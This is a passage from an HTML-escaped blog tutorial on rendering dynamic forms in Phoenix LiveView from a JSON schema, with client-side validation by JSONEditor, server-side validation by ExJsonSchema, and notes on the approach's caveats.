&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# or a JSON file, but we&amp;#39;ll simply hard-code it for now:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Person&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;properties&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;name&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Name&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;minLength&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;propertyOrder&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;salary&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Your Salary Expecations&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;integer&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;minimum&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;maximum&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1_000_000&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;propertyOrder&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;dob&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;format&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Your Birthdate&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;propertyOrder&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;citizen&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;boolean&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;format&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;checkbox&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Are you a Citizen of the country?&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;propertyOrder&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;required&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;salary&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;dob&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our LiveView fetches a JSON schema as a map and returns it using the &lt;code&gt;:reply&lt;/code&gt; response. The &lt;code&gt;this.pushEvent&lt;/code&gt; and &lt;code&gt;:reply&lt;/code&gt; combination allows us to make a sync call from our client hook to the LiveView. I just wanted to showcase this behaviour, but usually you&apos;d make an async request with &lt;code&gt;this.pushEvent&lt;/code&gt; and &lt;code&gt;this.handleEvent&lt;/code&gt; to fetch the schema. The downside of a sync call is that it blocks the frontend until the schema is fetched. An async request allows the page to fully load even before the schema is returned, which is a better UX.&lt;/p&gt;
&lt;p&gt;If you look at the schema that we return, you see that we define four fields here. A name, salary expectation, date of birth, and citizenship. Each field has its own requirement which we&apos;ll validate later. I advise you to read the official documentation for &lt;a href=&quot;https://json-schema.org/learn/getting-started-step-by-step.html#properties&quot;&gt;JSON Schemas&lt;/a&gt; if you want to learn how to define properties. Let&apos;s see how the JSONEditor renders the schema:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/dynamic-forms/form.png&quot; alt=&quot;A form with four fields.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking good already! Now to the second part: The validation.&lt;/p&gt;
&lt;p&gt;When a user submits the form, the JSONEditor library validates the submission and shows any errors right there in the form. The user knows immediately which fields are wrong. Let&apos;s see how it looks like if the user submits invalid data:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/dynamic-forms/errors.png&quot; alt=&quot;A form with four fields that show errors.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, the user knows which fields to fix. Once the entered data is valid, the JSONEditor will send the data to the LiveView. Here, we need to validate the submission again, because we should never rely on client-side validation only. It&apos;s too easy to circumvent the client-side validation and submit corrupted data to the backend. We&apos;ll use the &lt;a href=&quot;https://github.com/jonasschmidt/ex_json_schema&quot;&gt;ExJsonSchema&lt;/a&gt; library to validate the submitted data in our LiveView. Let&apos;s have a look:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.FormLive&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:live_view&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;ref_schema&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExJsonSchema.Schema&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ref_schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ref_schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;ref_schema&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;ref_schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExJsonSchema.Validator&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;ref_schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_flash&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Success!&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_errors&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_flash&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Errors!&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# handle_event(&quot;load-schema&quot;...)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# defp load_schema(...)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the JSONEditor library sends the data to the LiveView, we handle it in the &lt;code&gt;&quot;submit&quot;&lt;/code&gt;-handler. To validate the submitted data, we need the schema as a reference. That&apos;s why we first resolve and assign the schema in our &lt;code&gt;mount/3&lt;/code&gt; callback. This simply translates the schema into a struct that the ExJsonSchema library understands.&lt;/p&gt;
&lt;p&gt;In our event handler, we call the ExJsonSchema library with the data and the reference schema. It returns either &lt;code&gt;:ok&lt;/code&gt; if the data is valid or &lt;code&gt;&amp;lbrace;:error, errors&amp;rbrace;&lt;/code&gt; if not. Unfortunately, it&apos;s quite complex to show these errors below the invalid fields in the form unless we send an event to the JS hook and somehow inform the JSONEditor that there were errors. That&apos;s why we simply display an error message here. Luckily, the ExJsonSchema library &quot;should&quot; never return an error because the JSONEditor already validated the data. If you run into an error here, either the frontend library didn&apos;t do a good job at validating the input, or something funky happened.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! We successfully rendered a form based on a JSON schema and validated the submission. Great job!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#caveats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;caveats&quot;&gt;&lt;/a&gt;Caveats&lt;/h2&gt;
&lt;p&gt;If you decide to implement this in your application, be aware of these caveats:&lt;/p&gt;
&lt;p&gt;We load the JSONEditor code into our &lt;code&gt;app.js&lt;/code&gt; bundle, but that means that the JS code is loaded on every page. That&apos;s not necessary, so when you implement it, rather load the editor only when needed with dynamic imports. See more &lt;a href=&quot;https://aswinmohan.me/pagewise-js-liveview&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I used the JSONEditor library because it was easy to set up, but it isn&apos;t the most reliable. The client-side validation isn&apos;t perfect (e.g. dates can be empty although they are required) and it comes with a lot of things we don&apos;t need (e.g. to edit your submission in JSON format). For a production application, I would rather opt for a React-based library like Formik or Formio.&lt;/p&gt;
&lt;p&gt;I styled the form using the Tailwind theme of the JSONEditor because it was quick and easy. However, this gives me no control over the style and I can&apos;t edit it. If you implement it, you better style the form inputs yourself. Otherwise, it&apos;s impossible to change e.g. the text color or input background.&lt;/p&gt;
&lt;p&gt;You might have noticed that the properties in our JSON schema have a &lt;code&gt;type&lt;/code&gt; and a &lt;code&gt;format&lt;/code&gt; option. The &lt;code&gt;type&lt;/code&gt; option defines in which format (smart!) the input is transmitted. The &lt;code&gt;format&lt;/code&gt; defines how the property is displayed. So, a &lt;code&gt;date&lt;/code&gt; format will still have a &lt;code&gt;string&lt;/code&gt; type, because it&apos;s sent as a string to the backend although you entered it as a &lt;code&gt;date&lt;/code&gt; string (e.g. &lt;code&gt;2022-12-31&lt;/code&gt;). Not all libraries support all types and all formats. Before choosing a client-side and backend library, better check the supported types and formats and test them in an example application.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
